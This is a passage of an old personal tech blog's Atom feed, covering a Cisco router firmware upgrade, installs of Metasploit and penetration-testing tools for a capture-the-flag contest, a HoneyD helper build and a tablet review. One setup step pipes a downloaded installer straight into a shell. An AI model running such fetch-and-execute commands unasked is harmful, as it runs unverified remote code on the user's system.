&amp;nbsp; &amp;nbsp; &amp;nbsp; xxxxxxxx&lt;br /&gt;FW Version: &amp;nbsp; &amp;nbsp; &amp;nbsp;x.x.x&lt;/span&gt;&lt;br /&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;snip&gt;&lt;/snip&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Check the amount of space available on flash for the firmware, ensure that the bytes free is greater than the size of the firmware .bin file&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;show flash&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;snip&gt;&lt;/snip&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;19353600 bytes total (5369856 bytes free)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Copy the firmware .bin file to flash&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;copy tftp://xxx.xxx.xxx.xxx/adsl_alc_20190.x.x.x.bin&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Rename the file on flash to&amp;nbsp;adsl_alc_20190.bin&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;rename flash:adsl_alc_20190.x.x.x.bin adsl_alc_20190.bin&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Reboot the router&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;reload&lt;/b&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-3789437338026122043?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/3789437338026122043/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/03/cisco-857w-router-upgrade-adsl-firmware.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/3789437338026122043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/3789437338026122043'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/03/cisco-857w-router-upgrade-adsl-firmware.html' title='Cisco 857W Router - Upgrade ADSL Firmware'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-1510204978984224324</id><published>2011-02-11T14:09:00.000+10:00</published><updated>2011-02-11T14:09:26.612+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='domain'/><category scheme='http://www.blogger.com/atom/ns#' term='kush.id.au'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='script'/><category scheme='http://www.blogger.com/atom/ns#' term='kush.com.fj'/><title type='text'>kush.id.au</title><content type='html'>Got the kush.id.au domain and parked it over the kush.com.fj domain. So all subdomains and e-mail addresses should resolve for the id.au domain.Need to make some changes to the website to allow for this. Also need to upload some new Python scripts that I wrote.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-1510204978984224324?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/1510204978984224324/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/02/kushidau.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/1510204978984224324'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/1510204978984224324'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/02/kushidau.html' title='kush.id.au'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-4506630180293110596</id><published>2010-12-03T23:41:00.000+10:00</published><updated>2010-12-03T23:41:11.490+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redhat'/><category scheme='http://www.blogger.com/atom/ns#' term='bunzip2'/><category scheme='http://www.blogger.com/atom/ns#' term='scapy'/><category scheme='http://www.blogger.com/atom/ns#' term='sony'/><category scheme='http://www.blogger.com/atom/ns#' term='snort'/><category scheme='http://www.blogger.com/atom/ns#' term='wget'/><category scheme='http://www.blogger.com/atom/ns#' term='board game review'/><category scheme='http://www.blogger.com/atom/ns#' term='ctf'/><category scheme='http://www.blogger.com/atom/ns#' term='install'/><category scheme='http://www.blogger.com/atom/ns#' term='laptop'/><category scheme='http://www.blogger.com/atom/ns#' term='sudo'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='centos'/><category scheme='http://www.blogger.com/atom/ns#' term='yum'/><title type='text'>iCTF - UCSB International Capture The Flag</title><content type='html'>I was fortunate enough to be invited to join the QUT iCTF team. The objective of the contest is to ensure that a set of required services remain available and un-compromised. In preparation for this task, I decided to setup a dedicated laptop for the contest. I would have been far easier to install a distribution such as BackTrack, but I decided to take the painful path.&lt;br /&gt;&lt;br /&gt;First, a friend sold me his old laptop, which was far better than my current notebook. It was a Sony VAIO&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif; font-size: 16px;"&gt;SZ34GP. I installed CentOS 5.5 on this notebook, just a base install with development libraries and tools. The instructions below provide a brief list of tools and their associated configurations.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Repositories&lt;/b&gt;&lt;br /&gt;There's a need to set-up some additional repositories for CentOS to enable the installation of additional thir party applications. For more information refer to References&amp;nbsp;&lt;span class="Apple-style-span" style="font-size: xx-small;"&gt;3&lt;/span&gt;Section.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; border-collapse: collapse; line-height: 13px; white-space: pre;"&gt;sudo bash&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; border-collapse: collapse; line-height: 13px; white-space: pre;"&gt;cd /etc/yum.repos.d/&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; border-collapse: collapse; line-height: 13px; white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;wget -q -O - http://www.atomicorp.com/installers/atomic |sh&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; border-collapse: collapse; line-height: 13px; white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;wget http://dries.eu/pub/dries-el.repo&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; border-collapse: collapse; line-height: 13px; white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;wget http://packages.sw.be/rpmforge-release/rpmforge-release-0.5.1-1.el5.rf.i386.rpm&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; border-collapse: collapse; line-height: 13px; white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;rpm -ivh &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; border-collapse: collapse; line-height: 13px; white-space: pre;"&gt;rpmforge-release-0.5.1-1.el5.rf.i386.rpm&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; border-collapse: collapse; line-height: 13px; white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;yum update&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; border-collapse: collapse; line-height: 13px; white-space: pre;"&gt;&lt;b&gt;Installation&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Install tools to be used for the competition. Most of the tools are penetration testing tools I have used in the past. I made a point of installing the development libraries and tools during the CentOS installation. This would be useful for developing and testing possible exploits.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;sudo yum -y install nmap&lt;/li&gt;&lt;li&gt;sudo yum -y install&amp;nbsp;amap&lt;/li&gt;&lt;li&gt;sudo yum -y install&amp;nbsp;hydra&lt;/li&gt;&lt;li&gt;sudo yum -y install&amp;nbsp;aide&lt;/li&gt;&lt;li&gt;sudo yum -y install&amp;nbsp;snort&lt;/li&gt;&lt;li&gt;sudo yum -y install&amp;nbsp;nikto&lt;/li&gt;&lt;li&gt;sudo yum -y install&amp;nbsp;ntop&lt;/li&gt;&lt;li&gt;sudo yum -y install fail2ban&lt;/li&gt;&lt;li&gt;sudo yum -y install tcptrack&lt;/li&gt;&lt;li&gt;sudo yum -y install dsniff&lt;/li&gt;&lt;li&gt;sudo yum -y install ngrep&lt;/li&gt;&lt;li&gt;sudo yum -y install fragroute&lt;/li&gt;&lt;li&gt;sudo yum -y install&amp;nbsp;hping&lt;/li&gt;&lt;li&gt;sudo yum -y install&amp;nbsp;scapy&lt;/li&gt;&lt;li&gt;sudo yum -y install&amp;nbsp;tcptraceroute&lt;/li&gt;&lt;li&gt;sudo yum -y install&amp;nbsp;firewalk&lt;/li&gt;&lt;li&gt;sudo yum -y install&amp;nbsp;iptraf&lt;/li&gt;&lt;li&gt;sudo yum -y install kismet&lt;/li&gt;&lt;li&gt;sudo yum -y install ettercap&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;b&gt;ChaosReader&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;Download latest version from source forge (http://chaosreader.sourceforge.net)&lt;/li&gt;&lt;li&gt;sudo mkdir -p /opt/chaosreader&lt;/li&gt;&lt;li&gt;sudo cp chaoreader0.94 /opt/chaosreader/&lt;/li&gt;&lt;li&gt;sudo chmod 755&amp;nbsp;/opt/chaosreader/chaoreader0.94&lt;/li&gt;&lt;li&gt;sudo ln -s&amp;nbsp;/opt/chaosreader/chaoreader0.94 /usr/local/bin/&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;b&gt;John the Ripper&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;wget&amp;nbsp;http://www.openwall.com/john/g/john-1.7.6.tar.gz&lt;/li&gt;&lt;li&gt;tar zxvf&amp;nbsp;john-1.7.6.tar.gz&lt;/li&gt;&lt;li&gt;cd&amp;nbsp;john-1.7.6&lt;/li&gt;&lt;li&gt;cd src&lt;/li&gt;&lt;li&gt;make&lt;/li&gt;&lt;li&gt;&amp;nbsp;clean linux-x86-any&lt;/li&gt;&lt;li&gt;sudo mv ../run /opt/john-1.7.6&lt;/li&gt;&lt;li&gt;sudo chown -R root:root&amp;nbsp;opt/john-1.7.6&lt;/li&gt;&lt;li&gt;mv /opt/john-1.7.6/john.conf&amp;nbsp;/opt/john-1.7.6/john.ini&lt;/li&gt;&lt;li&gt;sudo ln -s /opt/john-1.7.6/john /usr/local/sbin/&lt;/li&gt;&lt;li&gt;sudo ln -s /opt/john-1.7.6/john.ini /usr/local/sbin/&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;OpenVAS&lt;/b&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;sudo yum -y install&amp;nbsp;openvas-server openvas-client openvas-scanner&lt;/li&gt;&lt;li&gt;sudo openvas-mkcert&lt;/li&gt;&lt;li&gt;sudo /usr/sbin/openvas-nvt-syn &lt;i&gt;# Add as a cron job - refer to OpenVAS documentation&lt;/i&gt;&lt;/li&gt;&lt;li&gt;sudo /etc/rc.d/init.d/openvas-scanner restart&lt;/li&gt;&lt;li&gt;sudo /usr/sbin/openvas-adduser &lt;i&gt;# Add rules "default accept" if unsure&lt;/i&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;b&gt;Skipfish&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;wget&amp;nbsp;http://skipfish.googlecode.com/files/skipfish-1.81b.tgz&lt;/li&gt;&lt;li&gt;tar zxvf&amp;nbsp;skipfish-1.81b.tgz&lt;/li&gt;&lt;li&gt;sudo mv skipfish-1.81b /opt/&lt;/li&gt;&lt;li&gt;sudo ln -s /opt/skipfish-1.81b/skipfish /usr/local/sbin/&lt;/li&gt;&lt;li&gt;sudo ln -s /opt/skipfish-1.81b/sfscandiff /usr/local/sbin/&lt;/li&gt;&lt;li&gt;sudo chown -R root:root&amp;nbsp;/opt/skipfish-1.81b&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;VMWare Server&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;Download the latest VMWare Server, at the time of this blog it was version 2.0.2&lt;/li&gt;&lt;li&gt;tar zxvf VMware-server-2.0.2-203138.i386.tar.gz&lt;/li&gt;&lt;li&gt;cd vmware-server-distrib&lt;/li&gt;&lt;li&gt;sudo ./vmware-install.pl&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div&gt;&lt;u&gt;References:&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://ictf.cs.ucsb.edu/"&gt;http://ictf.cs.ucsb.edu/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://rpmrepo.org/RPMforge"&gt;http://rpmrepo.org/RPMforge&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;u&gt;&lt;a href="http://www.backtrack-linux.org/"&gt;http://www.backtrack-linux.org/&lt;/a&gt;&lt;/u&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://wiki.centos.org/AdditionalResources/Repositories"&gt;http://wiki.centos.org/AdditionalResources/Repositories&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.openvas.org/"&gt;http://www.openvas.org/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.alienvault.com/free_nessus_feed.php"&gt;http://www.alienvault.com/free_nessus_feed.php&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.hacktoolrepository.com/"&gt;http://www.hacktoolrepository.com/&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-4506630180293110596?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/4506630180293110596/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/12/ictf-ucsb-international-capture-flag.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/4506630180293110596'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/4506630180293110596'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/12/ictf-ucsb-international-capture-flag.html' title='iCTF - UCSB International Capture The Flag'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-7614985365773175980</id><published>2010-11-23T09:16:00.000+10:00</published><updated>2010-11-23T09:16:52.810+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='msf3'/><category scheme='http://www.blogger.com/atom/ns#' term='bunzip2'/><category scheme='http://www.blogger.com/atom/ns#' term='install'/><category scheme='http://www.blogger.com/atom/ns#' term='sudo'/><category scheme='http://www.blogger.com/atom/ns#' term='apt-get'/><category scheme='http://www.blogger.com/atom/ns#' term='wget'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Installing Metasploit Framework on Ubuntu</title><content type='html'>Recently, I had to install Metasploit Framework on Ubuntu. I thought I would document the instructions here. Be sure to check the downloads page on the Metasploit website (http://www.metasploit.com) to get the current version. At the time of this blog the latest version was 3.5.0.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;wget http://updates.metasploit.com/data/releases/framework-3.5.0.tar.bz2&lt;/li&gt;&lt;li&gt;bunzip2 framework-3.5.0.tar.bz2&lt;/li&gt;&lt;li&gt;tar xvf framework-3.5.0.tar&lt;/li&gt;&lt;li&gt; sudo cp -a msf3 /opt/msf3&lt;/li&gt;&lt;li&gt;sudo ln -sf /opt/msf3/msf* /usr/local/bin/&lt;/li&gt;&lt;li&gt;sudo svn update /opt/msf3/&lt;/li&gt;&lt;li&gt;sudo crontab -e -u root&lt;i&gt; # Enter "1 * * * * /usr/bin/svn update&amp;nbsp; /opt/msf3/ &amp;gt;&amp;gt; /var/log/msf3update.log 2&amp;gt;&amp;amp;1"&lt;/i&gt;&lt;/li&gt;&lt;/ol&gt;&amp;nbsp;&lt;u&gt;References:&lt;/u&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;http://www.metasploit.com/redmine/projects/framework/wiki/Install_Ubuntu&lt;/li&gt;&lt;li&gt;http://www.offensive-security.com/metasploit-unleashed/Metasploit_Unleashed_Information_Security_Training&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-7614985365773175980?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/7614985365773175980/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/11/installing-metasploit-framework-on.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/7614985365773175980'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/7614985365773175980'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/11/installing-metasploit-framework-on.html' title='Installing Metasploit Framework on Ubuntu'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-4786789049131073345</id><published>2010-11-12T16:04:00.001+10:00</published><updated>2011-08-26T22:25:31.433+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redhat'/><category scheme='http://www.blogger.com/atom/ns#' term='honeyd'/><category scheme='http://www.blogger.com/atom/ns#' term='sysv'/><category scheme='http://www.blogger.com/atom/ns#' term='centos'/><category scheme='http://www.blogger.com/atom/ns#' term='fake arp'/><category scheme='http://www.blogger.com/atom/ns#' term='farpd'/><category scheme='http://www.blogger.com/atom/ns#' term='fake arp daemon'/><title type='text'>Fake ARP Daemon</title><content type='html'>The Fake ARP Daemon, or FARPD, provides the implementation of a fake&amp;nbsp;ARP daemon for use with HoneyD. It responds to ARP requests for IP addresses&amp;nbsp;modelled using HoneyD, to a specific interface MAC address. FARPD&amp;nbsp;is required to set up HoneyD networks on the test bed. However it has been&amp;nbsp;initially develop for the BSD platform, as a result installation on SysV systems&amp;nbsp;needs a bit of work if compileing from a source tar ball.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;wget http://farpd.sourcearchive.com/downloads/0.2-10/farpd 0.2.orig.tar.gz&lt;/li&gt;&lt;li&gt;wget http://farpd.sourcearchive.com/downloads/0.2-10/farpd 0.2-10.diff.gz&lt;/li&gt;&lt;li&gt;tar zxvf farpd 0.2.orig.tar.gz&lt;/li&gt;&lt;li&gt;gunzip farpd 0.2-10.diff.gz&lt;/li&gt;&lt;li&gt;cd farpd-0.2&lt;/li&gt;&lt;li&gt;patch -p1 ¡ ../farpd 0.2-10.diff&lt;/li&gt;&lt;li&gt;mkdir -p /usr/lib/bin&lt;/li&gt;&lt;li&gt;ln -s /usr/bin/dnet-config /usr/lib/bin/dnet-config&lt;/li&gt;&lt;li&gt;ln -s /usr/bin/dnet-config /usr/lib/bin/dumbnet-config&lt;/li&gt;&lt;li&gt;./configure –with-libdumbnet=/usr/lib –with-libevent=/usr&lt;/li&gt;&lt;li&gt;ln -s /usr/include/dnet.h /usr/include/dumbnet.h&lt;/li&gt;&lt;li&gt;make&lt;/li&gt;&lt;li&gt;sudo make install&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Actual unpublished research project can be found at&amp;nbsp;http://eprints.qut.edu.au/39098/&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-4786789049131073345?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/4786789049131073345/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/11/fake-arp-daemon.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/4786789049131073345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/4786789049131073345'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/11/fake-arp-daemon.html' title='Fake ARP Daemon'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-295932771415878640</id><published>2010-11-03T22:06:00.002+10:00</published><updated>2010-11-10T11:26:57.656+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='review'/><category scheme='http://www.blogger.com/atom/ns#' term='eken m002'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Chinese Cheapness... me likey vely much</title><content type='html'>I finally decided to get a tablet. I already have a laptop for all my usual work requiring mobility, and have a dual screen workstation for heavy work at home. I could not justify spending a couple of hundred dollars on a gadget. Even though I would like to develop application for the Android platform, software emulators would do just as well for testing and deployment evaluation, but I got an Android tablet anyway... not one that is a high end, high quality and thus having a high price tag attached to it... I got a Chinese&amp;nbsp;Cheapness... an Eken M002&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;1&lt;/span&gt; to be exact, off of eBay!&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_WK7TtRkL_xE/TNFQIyztYYI/AAAAAAAAADM/0ZBURR8zZVk/s1600/Picture+705.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://3.bp.blogspot.com/_WK7TtRkL_xE/TNFQIyztYYI/AAAAAAAAADM/0ZBURR8zZVk/s320/Picture+705.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;In all honesty, given the budget and the reviews, expectations were low. I was surprised when I got the box. Initially I thought I was shipped the incorrect model, as the box depicted an Eken M001 tablet and not the expected Eken M002. However once I opened the box, I discovered the correct unit inside.&amp;nbsp;The packaging was slightly damaged, I suspected this may have happened during transit. The box contained an AC charging adapter, a small manual, which was promptly discarded back into the box, a small stylus and a 30 pin USB cable similar to the standard iPhone or iPod cable.&lt;br /&gt;&lt;br /&gt;I pressed the power button, checked out settings,&amp;nbsp;etc.&amp;nbsp;to make sure the unit was working properly. Left the seller my feedback on eBay.&amp;nbsp;I knew that the Android Market application was not installed. Fortunately I was prepared, and had downloaded the latest firmware previously&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;2&lt;/span&gt;. Since the unit did not arrive with any SD card, I used an old 2GB card I had lying about. I flashed the firmware as per the instructions on the slatedroid.com site without any issues.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Screen&lt;/b&gt;&lt;br /&gt;The unit is features a nice durable aluminium body. This gives it a nice feel.&amp;nbsp;The 7" resistive touch screen provides 800x480 16:9 display and input. Since it's a resistive screen, this means no multi-touch. The bootup process seems to take &lt;s&gt;a good minute or two&lt;/s&gt;&amp;nbsp;&lt;span class="Apple-style-span" style="color: blue;"&gt;&lt;i&gt;one minute and thirty seconds&lt;/i&gt;&lt;/span&gt;. Probably because of the low 128MB RAM running at 800 Mhz and light weight VIA MW8505 CPU running at 533Mhz.&amp;nbsp;The touch screen itself appeared very poor. It seems to be more sensitive in one corner and less on the other corner.&lt;br /&gt;&lt;br /&gt;A close examination revealed that there is a slight ripples/buldge across the screen, as though a large screen was forced into a small case, instead of being completely smooth. The unit appeared to perform better to a human touch rather than prompting and provocation by the mechanical stylus.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Capacity&lt;/i&gt;&lt;br /&gt;The internal storage is only appears to be only 1GB. As previously mentioned I am running the unit with a 2GB SD card, the product website seems to claim it can support up to 32GB. So will update the blog when I run out of space on the current card, which seems unlikely.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Battery&lt;/i&gt;&lt;br /&gt;Since I'd already read the reviews, I wasn't expecting much in terms of runtime. Unlike the iPad which delivered between 10hrs to 12hrs runtime, the M002 would give you between 1hr to 2hrs depending on what you were running.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Ports&lt;/i&gt;&lt;br /&gt;On the base of the unit you have several ports, one for the SD card, the 30pin USB port, 3.5mm head phone jack, the power adapter port and a small pin hole labelled MR, which I assumed meant master reset. Without hesitation a conveniently located paper clip was straightened and inserted, and the unit reset. Also the USB port seems to fit upside-down.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Networking&lt;/i&gt;&lt;br /&gt;I've seen picture of adapter that plug into the 30pin USB port and provide an RJ45 connection. However the unit natively supports 802.11B and 802.11G, capable of working with WPA2. This is very simple to set up and worked without issues.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Camera&lt;/i&gt;&lt;br /&gt;I didn't even bother checking the resolution. The image appears to be so low resolution it reminded me of the camera on my old Nokia 2760 phone. This is exactly what I had expected for the dollars spent. If you want HD just get an iPad.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Android Market&lt;/i&gt;&lt;br /&gt;The main reason for the firmware upgrade was to get access to the Android Market. Since its a toy, all the useful applications were installed, i.e. Facebook, Dolphin Browser, anti virus (not sure why), WeatherBug, Blogaway, Touiteur, Kindle, RealCalc, eBay, Dropbox, mAnalytics, Speed Test, ConnectBot and Wifi Analyser, Ping, Pinger, AndroidVNC, Remote RDP Lite, SecurityInfo.com Net Audit.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Performance&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The resolution of the YouTube video play back does not seem the best, but gets the job done.&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;s&gt;The Home screen keeps crashing so I get "Sorry! Activity Home (in process android.process.acore) is not responding", 